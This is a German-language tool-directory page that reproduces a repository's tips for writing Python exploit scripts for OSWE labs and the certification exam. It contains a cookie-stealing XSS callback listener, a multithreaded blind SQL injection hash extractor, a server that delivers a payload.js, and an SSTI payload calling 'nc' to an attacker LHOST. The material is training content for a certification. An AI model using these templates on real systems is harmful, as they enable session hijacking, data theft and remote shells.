Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
exploit-writing-for-oswe — Tips on how to write exploit scripts (faster!) | Kitploit
Tools/GitHubGitHub/rizemon/exploit-writing-for-oswe
Scripting & AutomationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationCurated ResourcesPayload Development
GitHubrizemon/exploit-writing-for-oswe

exploit-writing-for-oswe

Tips on how to write exploit scripts (faster!)

Repository anzeigen
591112vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Exploit-Entwicklung für OSWE

Hintergrund

Was

Dieses Repository enthält eine Liste nützlicher Snippets und Tipps, die sich auf das Schreiben von Exploit-Skripten in den OSWE-Labs und der Zertifizierungsprüfung beziehen.

Einige Beispiele hier mögen gegen bestimmte Programmierpraktiken verstoßen, aber unser oberstes Ziel ist es, das Exploit-Skript schnell und korrekt zu schreiben.

Der Abschnitt Code-Snippets ist ein guter Ausgangspunkt, wenn Sie mit der requests-Bibliothek nicht vertraut sind oder neu in Python sind. Andernfalls können Sie direkt zum Abschnitt Wiederverwendbarer Code oder zum Abschnitt Tipps springen.

Warum

  • Obwohl es viele Erfahrungsberichte, Rezensionen und Notizen zur Zertifizierung gibt, befassen sich nur wenige Ressourcen speziell mit dem Prozess des Schreibens von Exploits.
  • Das Schreiben des Exploit-Skripts kann einschüchternd wirken, insbesondere für diejenigen, die neu in Python sind oder wenig Erfahrung mit der Interaktion mit Webanwendungen über Code haben.
  • Die Zeit, die für die Identifizierung von Schwachstellen und die Dokumentation eines Prüfungsberichts aufgewendet wird, kann erheblich schwanken, aber die Zeit, die für die Entwicklung des Exploit-Skripts aufgewendet wird, kann minimiert und konstant gehalten werden, wenn man sie gut beherrscht.

Inhaltsverzeichnis

  • Exploit-Entwicklung für OSWE
    • Hintergrund
      • Was
      • Warum
    • Inhaltsverzeichnis
    • Code-Snippets
      • Startvorlage
      • Nützliche Importe
      • Verwenden der requests-Bibliothek
        • Senden der einfachsten HTTP-Anfrage
        • Verschiedene HTTP-Methoden festlegen
        • Die HTTP-Antwort lesen
        • Daten als Query-String in der URL senden (mit dem params-Argument)
        • Daten als Query-String im Body senden (mit dem data-Argument)
        • Daten als JSON im Body senden (mit dem json-Argument)
        • Eine Datei im Body senden (mit dem files-Argument)
        • HTTP-Header setzen (mit dem headers-Argument)
        • HTTP-Cookies setzen (mit dem cookies-Argument)

Code-Snippets

Startvorlage

root@kitploit:~
import requests

def main():
    print("Hello World!")

if __name__ == __main__:
    main()

Nützliche Importe

root@kitploit:~
# For sending HTTP requests
import requests

# For Base64 encoding/decoding
from base64 import b64encode, b64decode, urlsafe_b64encode, urlsafe_b64decode

# For getting current time or for calculating time delays
from time import time

# For regular expressions
import re

# For running shell commands
import subprocess

# For multithreading
from concurrent.futures import ThreadPoolExecutor

# For running a HTTP server in the background
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler

# For parsing HTTP cookies
from http import cookies

# For getting command-line arguments
import sys

Verwenden der requests-Bibliothek

Senden der einfachsten HTTP-Anfrage

root@kitploit:~
resp_obj = requests.get("https://github.com")

Verschiedene HTTP-Methoden festlegen

root@kitploit:~
# GET method
requests.get("https://github.com")

# POST method
requests.post("https://github.com")

# PUT method
requests.put("https://github.com")

# PATCH method
requests.patch("https://github.com")

# DELETE method
requests.delete("https://github.com")

Die HTTP-Antwort lesen

root@kitploit:~
resp_obj = requests.get("https://github.com")

# HTTP status code (e.g 404, 500, 301)
resp_obj.status_code

# HTTP response headers (e.g Location, Content-Disposition)
resp_obj.headers["Location"]

# Body as bytes
resp_obj.content

# Body as a string
resp_obj.text

# Body as a dictionary (if body is a JSON)
resp_obj.json()

Daten als Query-String in der URL senden (mit dem params-Argument)

root@kitploit:~
params = {
    "foo": "bar"
}

requests.get("https://github.com", params=params)

Daten als Query-String im Body senden (mit dem data-Argument)

root@kitploit:~
data = {
    "foo": "bar"
}

requests.post("https://github.com", data=data)

Daten als JSON im Body senden (mit dem json-Argument)

root@kitploit:~
data = {
    "foo": "bar"
}

requests.post("https://github.com", json=data)

Eine Datei im Body senden (mit dem files-Argument)

root@kitploit:~
files = {
    #                (FILE_NAME, FILE_CONTENTS, FILE_MIMETYPE)
    "uploaded_file": ("phpinfo.php", b"<?php phpinfo() ?>", "application/x-httpd-php")
}

requests.post("https://github.com", files=files)

HTTP-Header setzen (mit dem headers-Argument)

root@kitploit:~
headers = {
    "X-Forwarded-For": "127.0.0.1"
}

requests.get("https://github.com", headers=headers)

HTTP-Cookies setzen (mit dem cookies-Argument)

root@kitploit:~
cookies = {
    "PHPSESSID": "fakesession"
}

requests.get("https://github.com", cookies=cookies)

Das Folgen von 3XX-Weiterleitungen deaktivieren (mit dem allow_redirects-Argument)

root@kitploit:~
requests.post("https://github.com/login", allow_redirects=False)

Mit einem nicht verifizierten HTTPS-Server interagieren (mit dem verify-Argument)

root@kitploit:~
# Supresses InsecureRequestWarning messages
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

requests.get("https://github.com", verify=False)

Anfrage über einen HTTP-Proxy senden (mit dem proxies-Argument)

root@kitploit:~
proxies = {
    "HTTP": "http://127.0.0.1:8080",
    "HTTPS": "http://127.0.0.1:8080"
}

requests.get("https://github.com", proxies=proxies)

Eine Session erstellen

root@kitploit:~
session = requests.Session()
session.get("https://github.com")

Dauerhafte Cookies setzen

root@kitploit:~
session = requests.Session()
session.cookies.update({"PHPSESSID": "fakesession"})

Dauerhafte Header setzen

root@kitploit:~
session = requests.Session()
session.headers["Authorization"] = "Basic 123"

Fehlerbehebung

Wireshark verwenden und nach HTTP-Anfragen filtern

  1. Wireshark öffnen
  2. Die VPN-Schnittstelle auswählen (z. B. tun0)
  3. http in die Filterleiste eingeben.

Inhalt der HTTP-Anfrage ausgeben

root@kitploit:~
data = {
    "foo": "bar"
}
resp_obj = requests.post("https://github.com", data=data)
prepared_request = resp_obj.request

print("Method:\n", prepared_request.method)
print()
print("URL:\n", prepared_request.url)
print()
print("Headers:\n", prepared_request.headers)
print()
print("Body:\n", prepared_request.body)

HTTP-Anfrage über Burp Suite leiten und untersuchen

  1. Burp Suite öffnen
  2. Zum Reiter "Proxy" navigieren und "Intercept" auf "On" setzen.

Wiederverwendbarer Code

Dateien über HTTP bereitstellen

root@kitploit:~
LHOST      = "10.0.0.1"
WEB_PORT   = 8000
JS_PAYLOAD = "<script>alert(1)</script>"

def start_web_server():
    class MyHandler(BaseHTTPRequestHandler):
        # Uncomment this method to suppress HTTP logs
        # def log_message(self, format, *args):
        #     return

        def do_GET(self):
            if self.path.endswith('/payload.js'):
                self.send_response(200)
                self.send_header("Content-Type", "application/javascript")
                self.send_header("Content-Length", str(len(JS_PAYLOAD)))
                self.end_headers()
                self.wfile.write(JS_PAYLOAD.encode())
            
    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
    threading.Thread(target=httpd.serve_forever).start()

start_web_server()

HTTP-Cookies stehlen

root@kitploit:~
LHOST      = "10.0.0.1"
WEB_PORT   = 8000

requests = requests.Session()
xss_event = threading.Event() # Signifies when victim sends their cookie

def send_xss_payload():
    pass

def start_web_server():
    class MyHandler(BaseHTTPRequestHandler):

        def do_GET(self):
            self.send_response(200)
            self.end_headers()

            # Load stolen cookie into session
            _, enc_cookie = self.path.split("/?cookie=", 1)
            plain_cookie = urlsafe_b64decode(enc_cookie).decode()
            session.cookies["PHPSESSID"] = cookies.SimpleCookie(plain_cookie)["PHPSESSID"]

            xss_event.set() # Trigger the event
            
    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
    threading.Thread(target=httpd.serve_forever).start()

start_web_server()
send_xss_payload()
xss_event.wait() # Wait for event to be triggered
print("[+] Stolen cookie:", session.cookies["PHPSESSID"])

SQL-Injection beschleunigen

root@kitploit:~
MAX_WORKERS = 20
HASH_LENGTH = 32

def exfiltrate_hash():

    def boolean_sqli(arguments):
        idx, ascii_val = arguments
        # ...
        # Perform SQLi and store boolean outcome into truth
        # ...
        return ascii_val, truth

    result = ""

    # Go through each character position
    for idx in range(HASH_LENGTH):

        # Use MAX_WORKERS threads to test possible ASCII values in parallel
        with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
            # Pass each of (0, 32), (0, 33) ..., (0, 126) as an argument to boolean_sqli()
            responses = executor.map(boolean_sqli, [(idx, ascii_val) for ascii_val in range(32, 126)])

        # Go through each response and determine which ASCII value is correct
        for ascii_val, truth in responses:
            if truth:
                result += chr(ascii_val)
                break
    
    return result

hash = exfiltrate_hash()

Tipps

Nach jeder HTTP-Anfrage einen Sanity-Check mit assert durchführen

  • Erfassen, ob eine Webshell tatsächlich hochgeladen wurde, bevor man versucht, sie auszulösen
  • Erfassen, ob die Authentifizierung erfolgreich ist, bevor authentifizierte Funktionen ausgenutzt werden

Beispiel:

root@kitploit:~
# Suppose 302 is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data, allow_redirect=False)
assert resp_obj.status_code == 302, "Login not successful"

# Suppose admin page is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data)
assert "Admin Dashboard" in resp_obj.content, "Login not successful"

Aussagekräftige Meldungen nach jedem Schritt ausgeben

  • Aktion wird gestartet/beendet ODER
  • Cookies/Tokens/Dateien/Werte, die abgerufen wurden

Beispiel:

root@kitploit:~
[+] Parsed command-line arguments and got:
  * BASE_URL: http://example.com
  * LHOST:    127.0.0.1
  * LPORT:    1337
[+] Triggered password reset token generation
[=] Getting password reset token length...
[+] Got password reset token length: 10
[=] Retrieving password reset token...
[+] Got password reset token: FAKE_TOKEN

Jeden Exploit-Schritt in eine eigene Funktion aufteilen

Beispiel:

root@kitploit:~
def register():
    pass

def login():
    pass

def rce():
    pass

Ein globales Session-Objekt erstellen, damit es nicht explizit an jeden Funktionsaufruf übergeben werden muss

root@kitploit:~
session = requests.Session()

def login():
    session.post(...)

def rce():
    session.post(...)

Einen globalen BASE_URL-String erstellen und die benötigten URLs daraus konstruieren

root@kitploit:~
BASE_URL = ""
session = requests.Session()

def login():
    url = BASE_URL + "/login"
    session.post(url, ...)

def rce():
    url = BASE_URL + "/rce"
    session.post(url, ...)

def main():
    # Allow BASE_URL to be modified
    global BASE_URL
    BASE_URL = sys.argv[1]
...

Um alle HTTP-Anfragen ohne das proxies-Argument durch Burp Suite zu zwingen, setzen Sie beim Ausführen die Umgebungsvariable HTTP_PROXY / HTTPS_PROXY

root@kitploit:~
$ HTTP_PROXY=http://127.0.0.1:8080 python3 poc.py

Codierungs-/Decodierungsschemata anwenden, um eine sichere Übertragung von Payloads zu ermöglichen

  • Base64
  • Hexadezimal

Verwenden Sie """, um den Payload-String zu erstellen, wenn er sowohl einfache (') als auch doppelte Anführungszeichen (") enthält

Beispiel:

root@kitploit:~
payload = """This is a '. This is a "."""

SQL-Injection mithilfe von Multithreading beschleunigen

Siehe SQL-Injection beschleunigen.

Das Cookie eines authentifizierten Benutzers hartkodieren, wenn Exploits für authentifizierte Funktionen entwickelt werden

Insbesondere wenn viele zeitaufwändige Schritte erforderlich waren, um eine authentifizierte Sitzung zu erhalten.

Beispiel:

root@kitploit:~
session = requests.Session()

def main():
    # Skipping these for now...
    # register()
    # login()

    # TODO: Delete this line after you are
    # done developing and uncomment the above steps!
    session.cookies["JSESSIONID"] = "ADMIN_COOKIE"

    # Exploit authenticated features...
...

Vermeiden Sie f-Strings (f"") oder str.format, wenn der Payload zu viele geschweifte Klammern ({}) enthält

Das Verdoppeln jeder geschweiften Klammer nur zum Escapen kann mühsam und fehleranfällig sein. Verwenden Sie stattdessen einfache Platzhalter und führen Sie ein .replace() durch!

Beispiel:

root@kitploit:~
# Too many curly braces
ssti_payload = f"{{{{ __import__('os').system('nc {LHOST} {LPORT}') }}}}"
# Much easier to read
ssti_payload = "{{ __import__('os').system('nc <LHOST> <LPORT>') }}"\
    .replace("<LHOST>", LHOST)\
    .replace("<LPORT>", LPORT)
Tool herunterladen
  • Das Folgen von 3XX-Weiterleitungen deaktivieren (mit dem allow_redirects-Argument)
  • Mit einem nicht verifizierten HTTPS-Server interagieren (mit dem verify-Argument)
  • Anfrage über einen HTTP-Proxy senden (mit dem proxies-Argument)
  • Eine Session erstellen
  • Dauerhafte Cookies setzen
  • Dauerhafte Header setzen
  • Fehlerbehebung
    • Wireshark verwenden und nach HTTP-Anfragen filtern
    • Inhalt der HTTP-Anfrage ausgeben
    • HTTP-Anfrage über Burp Suite leiten und untersuchen
  • Wiederverwendbarer Code
    • Dateien über HTTP bereitstellen
    • HTTP-Cookies stehlen
    • SQL-Injection beschleunigen
  • Tipps
    • Nach jeder HTTP-Anfrage einen Sanity-Check mit assert durchführen
    • Aussagekräftige Meldungen nach jedem Schritt ausgeben
    • Jeden Exploit-Schritt in eine eigene Funktion aufteilen
    • Ein globales Session-Objekt erstellen, damit es nicht explizit an jeden Funktionsaufruf übergeben werden muss
    • Einen globalen BASE_URL-String erstellen und die benötigten URLs daraus konstruieren
    • Um alle HTTP-Anfragen ohne das proxies-Argument durch Burp Suite zu zwingen, setzen Sie beim Ausführen die Umgebungsvariable HTTP_PROXY / HTTPS_PROXY
    • Codierungs-/Decodierungsschemata anwenden, um eine sichere Übertragung von Payloads zu ermöglichen
    • Verwenden Sie """, um den Payload-String zu erstellen, wenn er sowohl einfache (') als auch doppelte Anführungszeichen (") enthält
    • SQL-Injection mithilfe von Multithreading beschleunigen
    • Das Cookie eines authentifizierten Benutzers hartkodieren, wenn Exploits für authentifizierte Funktionen entwickelt werden
    • Vermeiden Sie f-Strings (f"") oder str.format, wenn der Payload zu viele geschweifte Klammern ({}) enthält